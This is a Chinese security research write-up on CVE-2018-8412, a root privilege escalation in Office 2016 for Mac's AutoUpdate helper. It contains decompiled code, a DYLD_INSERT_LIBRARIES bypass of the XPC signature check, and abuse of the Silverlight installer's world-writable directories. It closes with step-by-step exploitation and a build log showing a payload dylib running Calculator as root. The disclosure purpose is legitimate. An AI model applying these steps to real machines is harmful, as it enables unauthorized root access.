作者: 光年实验室

CVE-2018-8412 在微软 8 月的漏洞公告中修复，影响此前所有版本的 Office 2016 for Mac 以及 SkypeForBusiness。漏洞成因是先后绕过了两次代码签名验证，通过进程间通信调用特权进程的接口执行了恶意代码，可实现普通用户到 root 的权限提升。

XPC 签名认证绕过

Office 2016 for Mac 安装了一个特权服务，来实现自动更新：/Library/PrivilegedHelperTools/com.microsoft.autoupdate.helper （以下简称 MAU）

此服务仅提供了两个 XPC 接口：

@protocol MAUHelperToolProtocol
- (void)logString:(NSString *)arg1 atLevel:(int)arg2 fromAppName:(NSString *)arg3;
- (void)installUpdateWithPackage:(NSString *)arg1 withXMLPath:(NSString *)arg2 withReply:(void (^)(NSString *))arg3;
@end

在 XPC 建立连接的时候，会检查对方 pid 对应的代码签名是否在白名单之内：

char __cdecl -[MAUHelperTool listener:shouldAcceptNewConnection:](MAUHelperTool *self, SEL a2, id a3, id a4)
{
  ...

  caller_pid = (unsigned __int64)objc_msgSend(v6, "processIdentifier", self);
  ksecguestattrpid = kSecGuestAttributePid;
  number_with_pid = objc_msgSend(&OBJC_CLASS___NSNumber, "numberWithInt:", caller_pid);
  pid_as_nsnumber = objc_retainAutoreleasedReturnValue(number_with_pid);
  _dict = objc_msgSend(
            &OBJC_CLASS___NSDictionary,
            "dictionaryWithObjects:forKeys:count:",
            &pid_as_nsnumber,
            &ksecguestattrpid,
            1LL);
  attributes = objc_retainAutoreleasedReturnValue(_dict);
  objc_release(pid_as_nsnumber);
  guest_code = 0LL;
  v12 = 0;
  if ( !(unsigned int)SecCodeCopyGuestWithAttributes(0LL, attributes, 0LL, &guest_code) )// kSecCSDefaultFlags
  {
    v43 = 0LL;
    v12 = 0;
    if ( !(unsigned int)SecRequirementCreateWithString(
                          CFSTR("(identifier \"com.microsoft.autoupdate2\" or identifier \"com.microsoft.autoupdate.fba\") and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] and certificate leaf[field.1.2.840.113635.100.6.1.13] and certificate leaf[subject.OU] = UBF8T346G9"),
                          0LL,
                          &v43) )
      v12 = (unsigned int)SecCodeCheckValidity(guest_code, 0LL, v43) == 0;
    if ( v43 )
      CFRelease(v43);

在这里存在两个漏洞点。

条件竞争

首先是 pid 是一个很容易造成条件竞争的参数，可参考 MacOS/iOS userspace entitlement checking is racy 一文。使用 posix_spawn 或者 exec 系列调用即可使用原有 pid 替换掉当前进程，在 XPC 服务处理消息队列的时间窗口中造成条件竞争，绕过检查。

但进一步分析发现这一漏洞实际上不可利用。并不是由于时间窗口太小，而是微软不按套路出牌的代码实现。在 XPC 回调中，MAU 设置了一个 invalidation handler 处理 XPC 中断连接的事件：

v30 = _NSConcreteStackBlock;
    v31 = -1040187392;
    v32 = 0;
    v33 = sub_100002748;
    v34 = &unk_100008440;
    v19 = (void *)objc_retain(v27, v7);
    v35 = v19;
    objc_copyWeak(&v36, &v43);
    objc_msgSend(v7, "setInvalidationHandler:", &v30);
    v20 = objc_msgSend(v19, "loggingConnections");
    v21 = (void *)objc_retainAutoreleasedReturnValue(v20);
    objc_msgSend(v21, "performSelectorOnMainThread:withObject:waitUntilDone:", "addObject:", v7, 1LL);
    objc_release(v21);

而在这个事件当中，代码会修改上下文状态：

__int64 __fastcall sub_100002748(__int64 a1)
{
  void *v1; // rax
  void *v2; // r14
  __int64 v3; // rbx

  v1 = objc_msgSend(*(void **)(a1 + 32), "loggingConnections");
  v2 = (void *)objc_retainAutoreleasedReturnValue(v1);
  v3 = objc_loadWeakRetained(a1 + 40);
  objc_msgSend(v2, "performSelectorOnMainThread:withObject:waitUntilDone:", "removeObject:", v3, 1LL);
  objc_release(v3);
  return objc_release(v2);
}

这将导致 [MAUHelperTool shouldExit] 方法返回 true。而 GCD 中注册了一个事件循环回调，一旦检测到这一标志，进程将立即退出，而忽略消息队列之后的请求。即使连接检查被绕过，也会因为进程先一步退出而无法触发后续行为。

模块注入

另外一个方法就太简单了。代码签名的检查没有针对整个进程空间，而是只检查主模块。这就意味着使用 DYLD_INSERT_LIBRARIES 可以直接绕过。

合法的可执行文件如下，任选一个注入即可：

• /Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app/Contents/MacOS/Microsoft AutoUpdate
• /Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app/Contents/MacOS/Microsoft AU Daemon.app/Contents/MacOS/Microsoft AU Daemon

绕过了第一层签名检查，接下来可以在接口上做文章了。

SilverLight——最后的挣扎

MAU 提供的接口有一个 -[MAUHelperTool installUpdateWithPackage:withXMLPath:withReply:] ，行为就是以 root 权限安装一个 pkg 包。pkg 包是 macOS 上类似 Windows 的 msi 的格式，既然是安装包自然具有代码执行能力。很不幸在这里还会做一次签名，这次是针对 pkg 的。MAU 在这里会先对文件 chown 到 root，完全没有时间差替换的机会。

一度认为这个问题无法利用下去，闲置了很久。后来变换思路，从 pkg 入手。微软在 macOS 上的产品用手指头都能数过来，一个一个下载分析。

SilverLight 是曾经用来与 Adobe Flash 竞争的产品，而现在这两家的样子大家也看到了……至于 Java Applet / Flash / SilverLight 和 WASM 他们之间到底有什么爱恨情仇不是本文的重点。我们还是展开他的安装包看看。

https://www.microsoft.com/getsilverlight/Get-Started/Install/Default

这个安装包也有点年头了。下载回来检查签名：

$ pkgutil --check-sign /Volumes/Silverlight/silverlight.pkg
Package "silverlight.pkg":
   Status: signed by a certificate trusted by Mac OS X
   Certificate Chain:
    1. Developer ID Installer: Microsoft Corporation (UBF8T346G9)
       SHA1 fingerprint: 9B 6B 91 3B B1 3F 68 26 12 20 EC 72 11 F0 F2 0E 92 E4 B1 EB
       -----------------------------------------------------------------------------
    2. Developer ID Certification Authority
       SHA1 fingerprint: 3B 16 6C 3B 7D C4 B7 51 C9 FE 2A FA B9 13 56 41 E3 88 E1 86
       -----------------------------------------------------------------------------
    3. Apple Root CA
       SHA1 fingerprint: 61 1E 5B 66 2C 59 3A 08 FF 58 D1 4A E2 24 52 D1 98 DF 6C 60

可以通过检查。pkgutil --expand 解压一下。

一个 pkg 通常会包含如下文件：

• PackageInfo 包信息
• Payload 文件压缩包
• Scripts/ 安装前、安装后等时期运行的脚本，将会以无沙箱的 root 权限执行

在 SilverLight 的安装脚本中可以看到如下内容：

创建了全局可写的目录

pushd /Library/Internet\ Plug-Ins/
rm -rf WPFe.plugin/
chown -R root:admin Silverlight.plugin/
chmod -R 775 Silverlight.plugin/
popd

pushd /Library/Application\ Support/Microsoft/
chown -R root:admin Silverlight/
chmod -R 775 Silverlight/
popd

pushd /Library/Application\ Support/
chown root:admin Microsoft/
chmod 775 Microsoft/

一些有意思的命令：

_PRIBX=`ls -r "/Library/Application Support/Microsoft/PlayReady/Cache" | grep .key | awk '{if (NR==1) {print $1}}' `
    if [ "$_PRIBX" ]
    then
        _PRIBXVER=`./PlayReadyGetIBXVersionTool "/Library/Application Support/Microsoft/PlayReady/Cache/"$_PRIBX`
        if [ "$_PRIBXVER" = "mspribx.1.5.8" ]

在指定的 Cache 目录下查找扩展名为 *.key 的文件，并传入 PlayReadyGetIBXVersionTool 命令

pushd "/tmp/SilverlightInstallTools"
_SPRDResult=`./rundylib "/Library/Internet Plug-Ins/Silverlight.plugin/Contents/MacOS/SLMSPRBootstrap.dylib"`

以及使用 rundylib 打开一个固定路径的链接库。

这个rundylib 是干嘛的？

int __cdecl main(int argc, const char <strong>argv, const char </strong>envp)
{
  ...
  v3 = argv[1];
  if ( !v3 )
  {
    puts("ERROR: Invalid path ");
    return 1;
  }
  v5 = dlopen(v3, 5);
}

这名字真是诚不我欺……

那么 PlayReadyGetIBXVersionTool 呢？

signed int __cdecl GetDyLibVersion(const char *path, unsigned int *a2, unsigned int *a3, unsigned int *a4)
{
  ...
  handle = dlopen(path, 1);
  if ( handle )
  {
    v6 = _dyld_image_count();
    for ( i = 0; ; ++i )
    {
      if ( i == v6 )
        goto LABEL_22;
      v8 = _dyld_get_image_name(i);
      if ( !v8 )
      {
        v9 = dlerror();
        printf("Image name not found or index out of range. Error: %s\n", v9);
        v5 = 5;
        goto LABEL_21;
      }
      if ( !strcmp(v8, path) )
        break;
    }
    v10 = _dyld_get_image_header(i);
    if ( !v10 )
    {

本意是要获取一个动态链接库的版本，可是为什么要 dlopen 运行起来呢？请注意，在之前的命令中吗，这些路径已经被设置为全局可写：

• /Library/Internet Plug-Ins/Silverlight.plugin/Contents/MacOS/SLMSPRBootstrap.dylib
• /Library/Application Support/Microsoft/PlayReady/Cache

替换 SLMSPRBootstrap.dylib 需要条件竞争，比较难以控制；而 Cache 则没有这个问题。

利用步骤如下：

• 下载具有微软签名的 SilverLight 安装包备用（14M）
• DYLD_INSERT_LIBRARIES 注入“可信”的进程
• 第一次向 MAU 发送 IPC 请求安装软件包，不做任何事情，让其创建所需要的父目录（/Library/Application Support/Microsoft/SilverLight）
• 将恶意的 dylib 保存到指定路径
• 第二次向 MAU 发送 IPC 请求，加载恶意的 dylib

➜  msoffice git:(master) ps aux | grep Calc
codecolorist      3813   0.0  0.0  4270840    928 s014  S+    5:31PM   0:00.00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn Calc
➜  msoffice git:(master) make run
mkdir -p "./bin"
cc   -framework Foundation \
        -dynamiclib xpc.mm \
        -o "./bin"/xpc.dylib
cc  -m32  -framework Foundation \
        -dynamiclib root.mm \
        -o "./bin"/root.dylib
mkdir -p "/Library/Application Support/Microsoft/PlayReady/mspr.hds"
mkdir -p "/Library/Application Support/Microsoft/PlayReady/Cache/"
cp "./bin"/root.dylib "/Library/Application Support/Microsoft/PlayReady/Cache/exp.key"
DYLD_INSERT_LIBRARIES=""./bin"/xpc.dylib" \
        "/Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app/Contents/MacOS/Microsoft AutoUpdate"
done%                                                                                                                                                   ➜  msoffice git:(master) ps aux | grep Calc
codecolorist      3878   0.0  0.0  4267768    896 s014  S+    5:32PM   0:00.00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn Calc
root              3874   0.0  0.2  4446648  30428   ??  S     5:31PM   0:00.43 /Applications/Calculator.app/Contents/MacOS/Calculator

番外

近日有研究者放出了一个 MS Office 2016 for Mac 的沙箱配置问题，可以在允许执行宏代码的情况下逃逸沙箱执行任意程序（会强制注销一次系统）

https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/

两个问题结合一下就可以给红队在 mac 下干一些坏坏的事情了……